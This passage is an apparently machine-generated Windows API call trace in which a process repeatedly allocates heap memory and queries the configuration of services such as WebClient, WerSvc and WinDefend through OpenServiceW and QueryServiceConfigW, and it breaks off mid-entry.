0x1de2510 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2598 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2620 [0249.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70800 [0249.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdiservicehost", cchWideChar=14, lpMultiByteStr=0x1e70800, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdiservicehost", lpUsedDefaultChar=0x0) returned 14 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70848 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70800) returned 1 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70848) returned 1 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2620) returned 1 [0249.424] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WdiServiceHost", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.425] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.425] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.426] GetLastError () returned 0x7a [0249.426] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.426] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2620 [0249.426] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de26a8 [0249.426] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2620) returned 1 [0249.426] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de26a8) returned 1 [0249.426] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de26a8 [0249.426] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2620 [0249.426] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de26a8) returned 1 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2620) returned 1 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2620 [0249.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70848 [0249.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70848, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70800 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70848) returned 1 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70800) returned 1 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2620) returned 1 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70800 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2620 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de26a8 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2730 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de27b8 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2840 [0249.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70848 [0249.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wdisystemhost", cchWideChar=13, lpMultiByteStr=0x1e70848, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wdisystemhost", lpUsedDefaultChar=0x0) returned 13 [0249.427] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3eb0 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70848) returned 1 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3eb0) returned 1 [0249.427] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2840) returned 1 [0249.427] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WdiSystemHost", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.428] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.428] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.428] GetLastError () returned 0x7a [0249.428] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x130, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2840 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de28c8 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2840) returned 1 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de28c8) returned 1 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de28c8 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2840 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de28c8) returned 1 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2840) returned 1 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2840 [0249.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70848 [0249.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70848, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3eb0 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70848) returned 1 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3eb0) returned 1 [0249.429] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2840) returned 1 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70848 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2840 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de28c8 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2950 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de29d8 [0249.429] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2a60 [0249.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3eb0 [0249.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="webclient", cchWideChar=9, lpMultiByteStr=0x1de3eb0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="webclient", lpUsedDefaultChar=0x0) returned 9 [0249.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3ef8 [0249.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3eb0) returned 1 [0249.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3ef8) returned 1 [0249.430] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2a60) returned 1 [0249.430] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WebClient", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.430] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.430] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.431] GetLastError () returned 0x7a [0249.431] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x13c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2a60 [0249.431] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ae8 [0249.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2a60) returned 1 [0249.431] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2ae8) returned 1 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ae8 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2a60 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2ae8) returned 1 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2a60) returned 1 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2a60 [0249.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3eb0 [0249.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de3eb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3ef8 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3eb0) returned 1 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3ef8) returned 1 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2a60) returned 1 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3eb0 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2a60 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ae8 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2b70 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2bf8 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2c80 [0249.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3ef8 [0249.432] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wecsvc", cchWideChar=6, lpMultiByteStr=0x1de3ef8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wecsvc", lpUsedDefaultChar=0x0) returned 6 [0249.432] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f40 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3ef8) returned 1 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f40) returned 1 [0249.432] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2c80) returned 1 [0249.432] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="Wecsvc", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.433] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.433] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.433] GetLastError () returned 0x7a [0249.433] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x150, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2c80 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2d08 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2c80) returned 1 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2d08) returned 1 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2d08 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2c80 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2d08) returned 1 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2c80) returned 1 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2c80 [0249.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f40 [0249.434] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de3f40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3ef8 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f40) returned 1 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3ef8) returned 1 [0249.434] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2c80) returned 1 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3ef8 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2c80 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2d08 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2d90 [0249.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2e18 [0249.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ea0 [0249.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f40 [0249.435] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wercplsupport", cchWideChar=13, lpMultiByteStr=0x1de3f40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wercplsupport", lpUsedDefaultChar=0x0) returned 13 [0249.435] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f88 [0249.435] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f40) returned 1 [0249.435] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f88) returned 1 [0249.435] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2ea0) returned 1 [0249.435] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wercplsupport", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.435] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.435] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.436] GetLastError () returned 0x7a [0249.436] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ea0 [0249.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2f28 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2ea0) returned 1 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2f28) returned 1 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2f28 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ea0 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2f28) returned 1 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2ea0) returned 1 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ea0 [0249.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f88 [0249.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de3f88, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f40 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f88) returned 1 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f40) returned 1 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2ea0) returned 1 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f40 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2ea0 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2f28 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2fb0 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3038 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de30c0 [0249.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f88 [0249.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wersvc", cchWideChar=6, lpMultiByteStr=0x1de3f88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wersvc", lpUsedDefaultChar=0x0) returned 6 [0249.437] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3fd0 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f88) returned 1 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3fd0) returned 1 [0249.437] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de30c0) returned 1 [0249.437] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WerSvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.438] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.438] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.438] GetLastError () returned 0x7a [0249.438] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x120, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de30c0 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3148 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de30c0) returned 1 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3148) returned 1 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3148 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de30c0 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3148) returned 1 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de30c0) returned 1 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de30c0 [0249.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3fd0 [0249.439] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1de3fd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f88 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3fd0) returned 1 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3f88) returned 1 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de30c0) returned 1 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1e6f5e8 [0249.439] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e708b8) returned 1 [0249.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3f88 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de30c0 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3148 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de31d0 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de3258 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de32e0 [0249.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de3fd0 [0249.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windefend", cchWideChar=9, lpMultiByteStr=0x1de3fd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windefend", lpUsedDefaultChar=0x0) returned 9 [0249.440] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4018 [0249.440] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de3fd0) returned 1 [0249.440] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4018) returned 1 [0249.440] 